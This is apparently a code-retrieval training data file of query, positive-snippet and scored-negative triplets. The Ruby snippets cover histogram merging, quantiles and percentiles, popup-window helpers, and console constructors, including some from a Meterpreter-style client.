"def nth_prime(n)\n nums = (0..10000).to_a\n result = []\n\n nums.each do |i| \n if prime?(i) == true\n result.push(i)\n end\n end\n\n\n return result[n]\nend",
"def isprime(n)\n if n == 1\n return false\n elsif n == 2\n return true\n else\n (2..Math.sqrt(n).ceil).each { |e| n % e == 0 ? (return false) : next }\n return true\n end\nend",
"def first_n_primes(n)\n\n #unless n.is_a? Integer\n # return \"n must be an integer.\"\n #end\n return \"n must be an integer.\" unless n.is_a? Integer\n\n #if n <= 0\n # return \"n must be greater than 0.\"\n #end\n return \"n must be greater than 0.\" if n <= 0\n \n #prime_array = [] if prime_array.nil?\n prime_array ||= []\n \n prime = Prime.new\n #for num in (1..n)\n # prime_array.push(prime.next)\n #end\n # n.times { prime_array.push(prime.next) }\n n.times { prime_array << prime.next }\n \n #return prime_array\n prime_array # implicit return!\n\nend",
"def first_n_primes(n)\n\n # return \"n must be an integer.\" unless n.respond_to?(:next)\n return \"n must be an integer.\" unless n.is_a? Integer\n\n return \"n must be greater than 0.\" if n <= 0\n\n Prime.first n\nend",
"def first_n_primes(n)\n\n return \"n must be an integer.\" unless n.is_a? Integer\n\n return \"n must be greater than 0.\" if n <= 0\n\n return Prime.first n\n\nend",
"def nth_prime(n)\n primes = []\n x = 2\n while primes.size < n\n primes << x if (2..Math.sqrt(x)).all? {|i| x % i != 0 }\n x += 1\n end\n primes\nend",
"def prime?(n)\n\tPrime.prime?(n)\nend",
"def primes(n) \n max = Math::sqrt(n).truncate\n (2..max).each {|val|\n if n % val == 0 then\n p val\n primes(n/val)\n return\n elsif val == max then\n p n\n return\n end\n }\nend",
"def prime? n\r\n (3..Math.sqrt(n)).step(2).each {|i| return false if n % i == 0}\r\n true\r\nend",
"def prime?(n)\n 2.upto(Math.sqrt(n).floor) do |i|\n return false if n%i == 0\n end\n\n true\nend",
"def prime?(n)\n 2.upto(Math.sqrt(n).floor) do |i|\n return false if n%i == 0\n end\n\n true\nend",
"def prime?(n)\n (2...n).each { |x| return false if n % x == 0 }\n true\nend",
"def prime_number_for(nth_element)\n number = 15485863\n return \"Cannot calculate that prime number.\" if nth_element <= 0 || nth_element > 1000000\n primes = eratosthenes(number)\n\n return primes[nth_element - 1]\n\nend"
] | [
"0.8146801",
"0.7722742",
"0.7685133",
"0.76731205",
"0.76688445",
"0.75499004",
"0.74925137",
"0.7423339",
"0.740077",
"0.7380475",
"0.7372663",
"0.7355696",
"0.7352715",
"0.73397094",
"0.7317421",
"0.72849005",
"0.72551674",
"0.72544885",
"0.7253518",
"0.7252173",
"0.7248111",
"0.7241568",
"0.7224606",
"0.7222647",
"0.7217836",
"0.7217706",
"0.7182438",
"0.7182438",
"0.71792233",
"0.7172185"
] | 0.77612686 | 1 |
Merge the given histogram into this histogram. | def merge! hist
self.frequency.reserve(hist.size) # avoid repeated reallocation if growing
for i in 0...hist.size
freq = hist.frequency[i] # avoid calling swig for zero frequencies
self.accumulate(i, freq) if freq > 0
end
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def merge(hash)\n hash.each_value { |v| self << v }\n end",
"def combine!(other)\n return self if other == self\n\n @transaction_count += other.transaction_count\n @call_count += other.call_count\n @rows_returned += other.rows_returned\n @call_time += other.call_time\n\n @min_call_time = other.min_call_time if @min_call_time.zero? or other.min_call_time < @min_call_time\n @max_call_time = other.max_call_time if other.max_call_time > @max_call_time\n\n @min_rows_returned = other.min_rows_returned if @min_rows_returned.zero? or other.min_rows_returned < @min_rows_returned\n @max_rows_returned = other.max_rows_returned if other.max_rows_returned > @max_rows_returned\n\n @histogram.combine!(other.histogram)\n self\n end",
"def merge(other)\n other.inject(self) { |result, entry| result << entry }\n end",
"def histogram\n if @histogram.nil?\n @histogram = Hash[*BINS.map{ |elt| [elt, 0] }.flatten]\n authors.each do |name, num_commits|\n bottom = 0\n BINS.each do |top|\n if num_commits >= bottom and num_commits < top\n @histogram[bottom] += 1\n end\n bottom = top\n end\n end\n end\n @histogram\nend",
"def merge(hash); end",
"def merge(hash); end",
"def merge(hash); end",
"def merge(other)\n other.each { |entry| self << entry }\n self\n end",
"def merge(other)\n append(*other)\n end",
"def histograms\n metrics(Histogram)\n end",
"def merge(other_hash); end",
"def merge!(other)\n @hash.merge!(other.hash)\n end",
"def merge hash = {}\n original.merge(hash)\n end",
"def merge(other)\n self.merge_actors(other)\n self.compress_history()\n end",
"def update!(**args)\n @histogram = args[:histogram] if args.key?(:histogram)\n @histogram_query = args[:histogram_query] if args.key?(:histogram_query)\n end",
"def merge!(other_stats_hash)\n with_stats_lock do\n @stats_hash.merge!(other_stats_hash)\n end\n end",
"def merge(other_hash)\n ret = self.class.new.merge!(self)\n ret.merge!(other_hash) if other_hash != self\n return ret\n end",
"def merge!(hash)\n hash.each { |k, v| self[k]= v }\n end",
"def merge(newh)\n @hash.merge!(newh) do |key, oldval, newval|\n if oldval.is_a? Array\n oldval << newval\n else\n Array.new [oldval, newval]\n end\n end\n end",
"def merge\n a_hash = without_empty_values @a.to_h\n b_hash = without_empty_values @b.to_h\n\n @a.class.new a_hash.merge b_hash\n end",
"def hist\n return [] unless @histogram_buckets\n max = @histogram_buckets.max.to_f\n @histogram_buckets[0..-2].map { | count | { count: count, score: max > 0 ? count / max : 0 } }\n end",
"def merge!(hash); end",
"def extract_and_parse_histogram\n self.histogram = HistogramExtractor.new(file_name)\n .extract_and_parse_histogram\n save\n end",
"def merge!(other)\n @hooks.merge!(other.dup.hooks) do |key, v1, v2|\n merge_arrays(v1, v2)\n end\n\n self\n end",
"def merge!(other_hash)\n @lock.synchronize do\n other_hash.each { |key, value| self[key] = value }\n end\n end",
"def merge!(other_hash)\n @lock.synchronize do\n other_hash.each { |key, value| self[key] = value }\n end\n end",
"def rh_merge!(data)\n _rh_merge(self, data)\n end",
"def merge(*metrics)\n new_metric = dup\n\n new_metric.value_hash = new_metric.value_hash.merge(*metrics.map(&:value_hash))\n new_metric.labels = new_metric.labels.merge(*metrics.map(&:labels))\n\n new_metric\n end",
"def merge!(other)\n\t\tALL.each do |key|\n\t\t\tincrement(key, other.get(key))\n\t\tend\n\t\tself\n\tend",
"def merge(enum)\n if enum.instance_of?(self.class)\n @hash.update(enum.instance_variable_get(:@hash))\n else\n do_with_enum(enum) { |o| add(o) }\n end\n\n self\n end"
] | [
"0.61433965",
"0.605319",
"0.57309973",
"0.5661068",
"0.5637999",
"0.5637999",
"0.5637999",
"0.5619807",
"0.55658376",
"0.55643374",
"0.5549928",
"0.54926556",
"0.54396224",
"0.54379666",
"0.54119426",
"0.53994644",
"0.5368086",
"0.53612435",
"0.53560203",
"0.5353035",
"0.5347448",
"0.5344281",
"0.53414077",
"0.53378737",
"0.53372604",
"0.53372604",
"0.53350013",
"0.5324262",
"0.53237647",
"0.53180623"
] | 0.7447474 | 0 |
Return the smallest observation x s.t. the fraction of all observations less than x is at least q (e.g. q = 0.9 returns the 90% percentile). When q = 0, the minimum observation is returned, and when q = 1, the maximum observation is returned. | def quantile q
cut = (q.to_f * count).ceil
obs = 0
for i in 0...size
obs += self.frequency[i]
return i if obs > 0 && obs >= cut
end
return nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def lower_quartile\n return nil if self.empty?\n sorted_array = self.sort\n u = 0.25*sorted_array.length + 1\n if (u-u.truncate).is_a?(Integer)\n return sorted_array[(u-u.truncate)-1]\n else\n sample = sorted_array[u.truncate.abs-1]\n sample1 = sorted_array[(u.truncate.abs)]\n return sample+((sample1-sample)*(u-u.truncate))\n end\n end",
"def first_quartile(already_sorted=false)\n return nil if size < 4\n a = already_sorted ? self : sort\n a[0..((size / 2) - 1)].median(true)\n end",
"def lowerQuartile(node)\n\t\t# Min humidity value from the node in the past day\n\t\tmin_hum = Reading.select(:humidity, :recorded_at).where(node_id: node, recorded_at: Time.zone.now.beginning_of_day..Time.zone.now.end_of_day).minimum(:humidity)\n\t\t# Min temperature value from the node in the past day\n\t\tmin_temp = Reading.select(:temperature, :recorded_at).where(node_id: node, recorded_at: Time.zone.now.beginning_of_day..Time.zone.now.end_of_day).minimum(:temperature)\n\t\t# Determine the parameter with the lowest value\n\t\tmin_val = [min_hum, min_temp].min\n\n\t\t# Check if node has returned any values for the current day\n\t\t# Set the min bound into quartiles\n\t\tunless min_val.nil?\n\t\t\toffset = (min_val % 25)\n\t\t\t# Visibility adjustment\n\t\t\tif offset == 1 \n\t\t\t\toffset = 5\n\t\t\tend\t\t\t\n\t\t\treturn min_val - (offset)\n\t\tend\n\t\t# Graph will be empty, set default min\n\t\treturn 0\n\tend",
"def last_quartile(already_sorted=false)\n return nil if size < 4\n a = already_sorted ? self : sort\n a[((size / 2) + 1)..-1].median(true)\n end",
"def percentile(q, strategy=:midpoint)\n case strategy\n when :midpoint\n midpoint_percentile(q)\n when :linear\n linear_percentile(q)\n else\n raise ArgumentError, \"Unknown strategy #{strategy}\"\n end\n end",
"def percentile(p)\n sorted_array = self.sort\n rank = (p.to_f / 100) * (self.length + 1)\n\n return nil if self.length == 0\n\n if rank.truncate > 0 && rank.truncate < self.length\n sample_0 = sorted_array[rank.truncate - 1]\n sample_1 = sorted_array[rank.truncate]\n\n # Returns the fractional part of a float. For example, <tt>(6.67).fractional_part == 0.67</tt>\n fractional_part = (rank - rank.truncate).abs\n (fractional_part * (sample_1 - sample_0)) + sample_0\n elsif rank.truncate == 0\n sorted_array.first.to_f\n elsif rank.truncate == self.length\n sorted_array.last.to_f\n end\n end",
"def pth_quantile(x, p)\n m = (x.length + 1) * p\n return 0 if m < 1 || m > x.length\n j = m.floor\n j == m ? x[m - 1] : impl_mean(x[j - 1, 2])\n end",
"def interquartile_range(already_sorted=false)\n return nil if size < 4\n a = already_sorted ? self : sort\n a.last_quartile - a.first_quartile\n end",
"def percentile p\n sorted_array = self.sort\n rank = (p.to_f / 100) * (self.length + 1)\n\n return nil if self.length == 0\n\n if rank.truncate > 0 && rank.truncate < self.length\n sample_0 = sorted_array[rank.truncate - 1]\n sample_1 = sorted_array[rank.truncate]\n\n (rank.fractional_part * (sample_1 - sample_0)) + sample_0\n elsif rank.truncate == 0\n sorted_array.first.to_f\n elsif rank.truncate == self.length\n sorted_array.last.to_f\n end\n end",
"def upper_quartile\n return nil if self.empty?\n sorted_array = self.sort\n u = (0.25*(3*sorted_array.length))\n if (u-u.truncate).is_a?(Integer)\n return sorted_array[(u-u.truncate)-1]\n else\n sample = sorted_array[u.truncate.abs-1]\n sample1 = sorted_array[(u.truncate.abs)]\n return sample+((sample1-sample)*(u-u.truncate))\n end\n end",
"def percentile_rank(p)\n\t\t\tif p < 0.0 || p > 100.0\n\t\t\t\tnil\n\t\t\telse\n\t\t\t\tsize = self.size \n\t\t\t\tif size == 0\n\t\t\t\t\tnil\n\t\t\t\telsif size == 1\n\t\t\t\t\tself[0]\n\t\t\t\telse\n\t\t\t\t\tsorted = self.sort\n\t\t\t\t\ti = (p * size / 100.0).floor\n\t\t\t\t\ti = size - 1 if i == size\n\t\t\t\t\tsorted[i]\n\t\t\tend # size ==\n\t\tend # p < 0.0 || p > 100.0\n\tend",
"def quartile(sorted_elements)\n if sorted_elements.length % 2 == 0\n (sorted_elements[(sorted_elements.length / 2)] + sorted_elements[(sorted_elements.length / 2) - 1]).to_f / 2\n else\n sorted_elements[sorted_elements.length / 2].to_f\n end\nend",
"def minimumBribes(q)\n q.each_with_index.inject(0) do |bribes, (actual, index)|\n return bribes if q[index + 1].nil?\n\n index_diff = actual - index - 1\n maximun_distance = actual - 2\n distance = if index_diff <= 0 && maximun_distance >= 0 then\n q[maximun_distance...index].all? { |x| x > actual } ? 1 : 0\n else\n [index_diff, 0].max\n end\n\n debug(actual, distance, index_diff, bribes)\n\n if distance > 2\n return \"Too chaotic\"\n break\n end\n bribes + distance\n end\nend",
"def lower_bound(data)\n return (q1(data) - (1.5 * iqr(data))).to_f\n end",
"def min() end",
"def find_less_popular(dimension = nil)\n all.sort_by { |o| o.rate_average(true, dimension) }.first\n end",
"def median\n percentile(50)\n end",
"def quartiles(already_sorted=false)\n a = already_sorted ? self : sort\n [a.first_quartile(true), a.median(true), a.last_quartile(true)]\n end",
"def find_min()\r\n self.min\r\n end",
"def my_min2(array)\n lowest_val = Float::INFINITY\n array.each do |el|\n lowest_val = el if el < lowest_val\n end\n\n lowest_val\nend",
"def better_my_min\n min = self.first\n self.each do |el|\n min = el if el < min\n end\n min\n end",
"def min\n empty? ? Float::INFINITY : @list.head.value[1]\n end",
"def min\n empty? ? Float::INFINITY : @list.head.value[1]\n end",
"def excel_quartile(array, quartile)\n # Returns nil if array is empty and covers the case of array.length == 1\n return array.first if array.length <= 1\n sorted = array.sort\n # The 4th quartile is always the last element in the sorted list.\n return sorted.last if quartile == 4\n # Source: http://mathworld.wolfram.com/Quartile.html\n quartile_position = 0.25 * (quartile*sorted.length + 4 - quartile)\n quartile_int = quartile_position.to_i\n lower = sorted[quartile_int - 1]\n upper = sorted[quartile_int]\n lower + (upper - lower) * (quartile_position - quartile_int)\n end",
"def my_min_once\n min = first\n each do |num|\n if num < min\n min = num\n end\n end\n min\n end",
"def fittest\n min\n end",
"def get_min()\n @data.min\n end",
"def find_first_geq(list, item, min, max)\n # puts \"list=#{list} item=#{item} min=#{min} max=#{max}\"\n if max <= min\n return list[min] >= item ? min : -1\n end\n\n pivot = min+(max-min)/2\n if list[pivot] >= item\n find_first_geq(list, item, min, pivot)\n else\n find_first_geq(list, item, pivot+1, max)\n end\nend",
"def min(x, s) \n\tif x < s\n\t\treturn x\n\tend\n \t\n\treturn s\nend",
"def minimumBribes(q)\n count = 0\n q.each_with_index do |element, index|\n return 'Too chaotic' if element-index-1>2\n start_index = index < 100 ? 0 : index-100\n\n (start_index..index-1).each do |x|\n count +=1 if q[x] > element\n end\n end \n count\nend"
] | [
"0.691722",
"0.65504193",
"0.61298317",
"0.5901658",
"0.58680826",
"0.581585",
"0.57667637",
"0.56754696",
"0.5652957",
"0.55818236",
"0.55055624",
"0.54592097",
"0.54379207",
"0.5383549",
"0.5317756",
"0.5290622",
"0.5287485",
"0.5260406",
"0.5256884",
"0.52541596",
"0.52493584",
"0.523658",
"0.523658",
"0.519533",
"0.5189868",
"0.5183495",
"0.5160414",
"0.5158446",
"0.514263",
"0.5128154"
] | 0.6686917 | 1 |
options:: Options hash supplied to windowing system Extra options include :method and :delay. :delay is the number of seconds to wait after page load to open window | def open_window_deprecated(options={})
frame_url = options.has_key?(:iframe) ? url_for(options.delete(:iframe)) : nil
window_url = options.has_key?(:url) ? url_for(options.delete(:url)) : nil
method = options.delete(:method) || 'get'
delay = options.delete(:delay) || 0.5
delay = delay * 1000
url = open_window_path(
:window_url => window_url,
:iframe_url => frame_url,
:window_options => options
).html_safe
javascript_tag{
"setTimeout(function(){
jQuery.#{method}('#{url}');
}, #{delay.to_i});".html_safe
}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_open_Speed\n w = Window_Base.new(200, 200, 100, 50)\n @windows.push(w)\n w.animationSpeed = 2000\n w.openness = 0\n w.open()\n return true\n end",
"def show_window\n end",
"def js_popup(options = {})\n o = {\n :width => 320,\n :height => 240,\n :title => 'Popup',\n :resizable => false,\n :scrollbars => false,\n }.merge(options)\n\n poptions = (o[:resizable] ? 'resizable=yes,' : 'resizable=no,')\n poptions << (o[:scrollbars] ? 'scrollbars=yes' : 'scrollbars=no')\n \n uri = o[:url] || o[:uri]\n \n %[javascript: var pwl = (screen.width - #{o[:width]}) / 2; var pwt = (screen.height - #{o[:height]}) / 2; window.open('#{uri}', '#{o[:title]}', 'width=#{o[:width]},height=#{o[:height]},top='+pwt+',left='+pwl+', #{poptions}'); return false;\"] \n end",
"def new_popup_window(options, browser = \"ie\")\r\n raise \"not implemented\"\r\n end",
"def link_to_remote_with_wait(name, options={}, html_options={})\n options[:complete] = \"Backend.app.unmask();\"\n options[:before] = \"Backend.app.mask('#{I18n.t('backend.javascripts.messages.wait.message')}')\";\n link_to_function(name, remote_function(options), html_options || options.delete(:html))\n end",
"def wait_for_popup window_id, timeout\r\n command 'waitForPopUp', window_id||'null', timeout\r\n end",
"def wait_for_popup window_id, timeout\r\n command 'waitForPopUp', window_id||'null', timeout\r\n end",
"def show_windows\n end",
"def show_popup(index)\n @last_frame = Graphics.frame_count\n @popup_index = index\n x = Graphics.width - popup.width\n y = @help_window.height\n popup.x = Graphics.width\n popup.visible = true\n if $imported[\"H87_SmoothMovements\"]\n @option_window.smooth_move(0 - popup.width, y)\n popup.smooth_move(x, y)\n else\n @option_window.x = 0 - popup.width\n popup.x = x\n end\n popup.activate\n end",
"def show_popup(index)\n @last_frame = Graphics.frame_count\n @popup_index = index\n x = Graphics.width - popup.width\n y = @help_window.height\n popup.x = Graphics.width\n popup.visible = true\n if $imported[\"H87_SmoothMovements\"]\n @option_window.smooth_move(0 - popup.width, y)\n popup.smooth_move(x, y)\n else\n @option_window.x = 0 - popup.width\n popup.x = x\n end\n popup.activate\n end",
"def open(options) \n options.default! :location => :center, :include_location => true\n\n location = Google::OptionsHelper.to_location(options[:location])\n location = self.object.center if location == :center \n\n if options[:url]\n options[:location] = location\n \n # TODO - the way the jquery get forces use to duplicate code sucks, make OptionsHelper.to_content support URLS\n get(options) do |data|\n # TODO - this method call using both :content and :tabs options is ugly, also options not being reused. \n open_info_window_on_map :location => location, :content => data, :tabs => options[:tabs]\n end \n else\n # TODO - this method call using both :content and :tabs options is ugly, also options not being reused.\n open_info_window_on_map :location => location, :content => OptionsHelper.to_content(options), :tabs => options[:tabs]\n end\n end",
"def window(title, timeout = 0)\n timeout = 30 if timeout == 0\n $webdriver.switch_to.default_content \n if not $marathon.windowMatchingTitle(title)\n bmark = MyBenchMark.new\n bmark.report(\"Waiting for window '\" + title + \"'\") {\n wait = Wait.new(:timeout => timeout, :message => \"Waiting for window '\" + title + \"'\")\n begin\n wait.until {\n waitSucceeded = false\n $webdriver.window_handles.each { |h|\n $webdriver.switch_to.window(h) unless waitSucceeded\n waitSucceeded = true if $marathon.windowMatchingTitle(title)\n }\n waitSucceeded\n }\n ensure\n bmark.close\n end\n }\n end\n $marathon.current_search_context = $webdriver\n $marathon.namingStrategy.setTopLevelComponent($marathon.getDriverAsAccessor())\n $marathon.context_handles.clear\n $marathon.context_handles.push( Proc.new { \n $marathon.current_search_context = $webdriver\n $marathon.namingStrategy.setTopLevelComponent($marathon.getDriverAsAccessor())\n } )\nend",
"def initialize(options = {})\n self.browser = options.fetch(:browser, :chrome)\n self.install_dir = options.fetch(:install_dir, './webdrivers/')\n self.locale = options.fetch(:locale, :en)\n self.headless = options.fetch(:headless, false)\n self.window_size = options.fetch(:window_size, '1280,720')\n self.screen_dir = options.fetch(:screen_dir, './screens/')\n self.log_prefix = options.fetch(:log_prefix, ' - ')\n self.verbose = options.fetch(:verbose, false)\n self.silent = options.fetch(:silent, false)\n self.auth_username = options.fetch(:auth_username, '')\n self.auth_password = options.fetch(:auth_password, '')\n self.main_label = caller_locations(2, 1).first.label\n\n initialize_driver\n\n self.timeout = options.fetch(:timeout, 30)\n end",
"def test_slideDown_Speed\n w = Window_Base.new(200, 0, 100, 50)\n @windows.push(w)\n w.animationSpeed = 2000\n w.visible = false\n w.slideDown()\n return true\n end",
"def command_main_buy \r\n # Change windows to buy mode\r\n @command_window.active = false\r\n @dummy_window.visible = false\r\n @buy_window.active = true\r\n @buy_window.visible = true\r\n @buy_window.refresh\r\n @status_window.visible = true\r\n end",
"def create_option_window\n @option_window = Window_GameOptions.new(@help_window.y + @help_window.height)\n @option_window.help_window = @help_window\n @option_window.set_handler(:cancel, method(:return_scene))\n @option_window.activate\n end",
"def create_option_window\n @option_window = Window_GameOptions.new(@help_window.y + @help_window.height)\n @option_window.help_window = @help_window\n @option_window.set_handler(:cancel, method(:return_scene))\n @option_window.activate\n end",
"def send(message, options={})\n content_window.send(message, options)\n end",
"def window(name)\n Tk.execute_only(:tkwait, :window, name)\n end",
"def inicia_navegador (parametros)\n @b = Watir::Browser.new :chrome, options: {prefs: parametros}\n sleep @sleep_padrao\n Watir.default_timeout = 90\n sleep @sleep_padrao\n @b.window.maximize\n sleep @sleep_padrao\nend",
"def open_window(options = nil)\n window = terminal.make( :new => :terminal )\n window.launch_ :session => 'New session'\n end",
"def open_window(content, options={})\n window_setup\n key = nil\n if(options[:iframe])\n iframe = @context.url_for(options.delete(:iframe))\n end\n if(content.is_a?(Hash))\n if(content[:url])\n options[:iframe] = @context.url_for(content[:url])\n content = nil\n elsif(content[:content_url])\n options[:url] = @context.url_for(content[:content_url])\n content = nil\n else\n content = @context.render(content)\n end\n end\n options[:width] ||= 300\n options[:height] ||= 200\n modal = options[:modal]\n if(options[:on_close])\n options[:close] = options.delete(:on_close)\n end\n if(options[:iframe])\n key = :iframe\n elsif(options[:url])\n key = :url\n else\n key = store_content(content)\n end\n win = options.delete(:window) || \"win_#{rand(99999)}\"\n if(options.delete(:no_update))\n create_window(key, win, options)\n show_window(win, modal)\n else\n check_for_window(win, false) do\n update_window_contents(key, win, options)\n focus_window(win)\n end\n else_block do\n create_window(key, win, options)\n show_window(win, modal)\n end\n end\n nil\n end",
"def goto(url = \"\")\n active_window.url = url\n sleep(1)\n end",
"def initialize(options = {})\r\n\t\t\tif(options.kind_of?(Integer))\r\n options = {:waitTime => options}\r\n end\r\n\r\n if(options[:profile])\r\n profile_opt = \"-P #{options[:profile]}\"\r\n else\r\n profile_opt = \"\"\r\n end\r\n\r\n puts \"PROFILE: #{profile_opt}\"\r\n\r\n waitTime = options[:waitTime] || 2\r\n\r\n if(RUBY_PLATFORM =~ /.*mswin.*/)\r\n #puts \"plaftorm is windows\"\r\n # Get the path to Firefox.exe using Registry.\r\n require 'win32/registry.rb'\r\n path_to_exe = \"\"\r\n Win32::Registry::HKEY_LOCAL_MACHINE.open('SOFTWARE\\Mozilla\\Mozilla Firefox') do |reg|\r\n keys = reg.keys\r\n reg1 = Win32::Registry::HKEY_LOCAL_MACHINE.open(\"SOFTWARE\\\\Mozilla\\\\Mozilla Firefox\\\\#{keys[0]}\\\\Main\")\r\n reg1.each do |subkey, type, data|\r\n if(subkey =~ /pathtoexe/i)\r\n path_to_exe = data\r\n end\r\n end\r\n end\r\n\r\n puts \"Starting Firefox using the executable : #{path_to_exe}\"\r\n puts \"Waiting for #{waitTime} seconds for Firefox to get started.\"\r\n @t = Thread.new { system(\"\\\"#{path_to_exe}\\\" -jssh #{profile_opt}\") }\r\n elsif(RUBY_PLATFORM =~ /linux/i)\r\n puts RUBY_PLATFORM\r\n path_to_bin = `which firefox`.strip\r\n puts \"#{path_to_bin} -jssh #{profile_opt}\"\r\n @t = Thread.new { `#{path_to_bin} -jssh #{profile_opt}` }\r\n end \r\n \r\n sleep waitTime\r\n \r\n set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n end",
"def dialog( title, seconds=3 )\n\t\td = begin\n\t\t\t\tw = Window.top_level(title, seconds)\n\t\t\t\tyield(w) ? w : nil\n\t\trescue TimeoutError\n\t\tend\n\n\t\td.wait_for_close if d\n\t\treturn d\n\tend",
"def delay; end",
"def delay; end",
"def delay; end",
"def remote_function_with_modal(options)\n return remote_function_without_modal(options) unless options[:modal] == true\n \n javascript_options = options_for_ajax(options)\n \n # Cannot do update form for lightview windows\n raise \"Sorry update is not supported for modal windows\" if options[:update]\n \n url_options = options[:url]\n url_options = url_options.merge(:escape => false) if url_options.is_a?(Hash)\n \n function =\n \"Lightview.show({\n href: '#{escape_javascript(url_for(url_options))}',\n rel: 'ajax',\n options: {\n autosize: true,\n ajax: #{javascript_options}\n }\n })\"\n \n function = \"#{options[:before]}; #{function}\" if options[:before]\n function = \"#{function}; #{options[:after]}\" if options[:after]\n function = \"if (#{options[:condition]}) { #{function}; }\" if options[:condition]\n function = \"if (confirm('#{escape_javascript(options[:confirm])}')) { #{function}; }\" if options[:confirm]\n \n return function\n end",
"def open_info_window(msg, options={})\n options[:width] ||= 200\n options[:modal] = true\n options[:title] ||= 'Information'\n options[:close_on_escape] = false\n store_content(msg, 'information_modal')\n self << \"\n if(jQuery('#information_modal').size() == 0){\n jQuery('<div id=\\\"information_modal\\\"></div>')\n .html(window_rails_contents['information_modal'])\n .dialog(#{format_type_to_js(options)});\n } else {\n jQuery('#information_modal')\n .html(window_rails_contents['information_modal'])\n .dialog(#{format_type_to_js(options)}).focus();\n }\"\n nil\n end"
] | [
"0.5781574",
"0.5773043",
"0.5664081",
"0.5599181",
"0.550609",
"0.5392613",
"0.5392613",
"0.53924924",
"0.5388857",
"0.5388857",
"0.5384871",
"0.5372501",
"0.53707397",
"0.5354655",
"0.53310263",
"0.5314145",
"0.5314145",
"0.528511",
"0.5277514",
"0.52704084",
"0.52665126",
"0.5263845",
"0.5259632",
"0.5258333",
"0.5214118",
"0.5207779",
"0.5207779",
"0.5207779",
"0.5200321",
"0.51740235"
] | 0.7298996 | 0 |
Initializes the 'core' portion of the meterpreter client commands. | def initialize(client)
super(client, 'core')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(client)\n super(\"metaSSH\")\n\t\t# The meterpreter client context\n\t\tself.client = client\n\n\t\t# Queued commands array\n\t\tself.commands = []\n\n\t\t# Point the input/output handles elsewhere\n\t\treset_ui\n\n\t\tenstack_dispatcher(Console::CommandDispatcher::Core)\n enstack_dispatcher(Console::CommandDispatcher::Stdapi)\n\n\t\t# Set up logging to whatever logsink 'core' is using\n\t\tif ! $dispatcher['ssh']\n\t\t\t$dispatcher['ssh'] = $dispatcher['core']\n\t\tend\n\tend",
"def init\n @calls = []\n @accept_nodes = []\n @connected_nodes = nil\n @remote_bash_code = nil\n end",
"def init\n Runner.in_shell = true\n Command.all_option_commands = true if @options[:option_commands]\n super\n Index.update(:verbose=>true, :libraries=>@options[:index]) if @options.key?(:index)\n if @options[:load]\n Manager.load @options[:load], load_options\n elsif @options[:execute]\n define_autoloader\n else\n load_command_by_index\n end\n end",
"def initialize(*args, &block)\n self.__init_core(block, *args)\n end",
"def initialize\n load_commands\n end",
"def initialize_core\n @triggered = []\n @events = Hash.new { |h,k| h[k.to_sym] = [] }\n\n # initialize some instance variables; we won't use them until we dup to\n # process a request.\n @request = nil\n @response = nil\n @original_request = nil\n @original_response = nil\n @entry = nil\n end",
"def initialize(rstream)\n\t\tsuper\n\n\t\t#\n\t\t# Initialize the meterpreter client\n\t\t#\n\t\tself.init_meterpreter(rstream)\n\n\t\t#\n\t\t# Create the console instance\n\t\t#\n\t\tself.console = Rex::Post::Meterpreter::Ui::Console.new(self)\n\tend",
"def initialize\n super\n\n @global_code = []\n @control_code = []\n @control_string = ''\n end",
"def setup_context\n self['console'] = Console.new\n load RUNTIME_PATH\n\n opal = self['opal']\n opal['loader'] = Loader.new opal, self\n opal['fs'] = FileSystem.new opal, self\n opal['platform']['engine'] = 'opal-gem'\n\n # eval \"opal.require('core');\", \"(opal)\"\n require_file 'core'\n end",
"def mpt_init; end",
"def ___init_command\n @cobj.add_rem.cfg[:def_msg] = 'OK'\n @cobj.rem.add_sys\n @cobj.rem.add_ext\n @cobj.rem.add_int\n self\n end",
"def initialize(shell)\n super\n\n self.extensions = []\n self.bgjobs = []\n self.bgjob_id = 0\n\n # keep a lookup table to refer to transports by index\n @transport_map = {}\n\n end",
"def initialize(sock, opts={})\n init_meterpreter(sock, opts)\n end",
"def init_core_game(options)\r\n if options[:netowk_core_game]\r\n # we are on network game, use NAL class for core game\r\n @core_game = options[:netowk_core_game]\r\n @core_game.set_custom_core( create_instance_core() )\r\n @core_game.custom_core.create_deck\r\n @log.debug \"using network core game\"\r\n elsif options[:custom_deck]\r\n @core_game = create_instance_core()\r\n @log.debug \"using local cpu core CUSTOM deck\"\r\n @core_game.rnd_mgr = options[:custom_deck][:deck]\r\n # say to the core we need to use a custom deck\r\n @core_game.game_opt[:replay_game] = true \r\n else\r\n # local game\r\n @core_game = create_instance_core()\r\n @core_game.set_specific_options(options)\r\n @log.debug \"using local cpu core\"\r\n @mnu_salva_part.enable if @mnu_salva_part\r\n end\r\n end",
"def initialize(commands)\n @cmds = commands\n end",
"def init\n end",
"def init\n end",
"def init\n end",
"def initialize()\n self.kind = CIAT::Processors::Interpreter.new\n self.description = \"Parrot virtual machine\"\n self.libraries = []\n yield self if block_given?\n end",
"def init_client; end",
"def initialize( options )\n\t\t@startup_options = options\n\n\t\t@prompt = DEFAULT_PROMPT\n\t\t@aliases = {}\n\n\t\t@columns = TermInfo.screen_width\n\t\t@rows = TermInfo.screen_height\n\t\t@commands = RoninShell::Command.require_all\n\t\t@command_table = self.make_command_table( @commands )\n\n\t\t@quitting = false\n\n\t\tself.log.debug \"%p: set up with %d builtin commands for a %dx%d terminal\" %\n\t\t\t[ self.class, @commands.length, @columns, @rows ]\n\tend",
"def initialize\n register_script \"Modify and query the script flag table.\"\n\n # TODO: Allow channel operators to change flags for their own channels.\n\n register_command \"enable\", :cmd_enable, 3, 4, nil, \"Enable scripts in the given server and channel. Wildcards are supported. Parameters: server channel scripts\"\n register_command \"disable\", :cmd_disable, 3, 4, nil, \"Disable scripts in the given server and channel. Wildcards are supported. Parameters: server channel scripts\"\n register_command \"flags\", :cmd_flags, 3, 0, nil, \"View flags for the given servers, channels, and scripts. Wildcards are supported. Parameters: server channel scripts\"\nend",
"def initialize\n @commands = Hash.new\n @commands = {\n :add_repository => nil,\n :info => nil,\n :install => nil,\n :search => nil,\n :update => nil,\n :upgrade => nil\n }\n\n set_commands\n end",
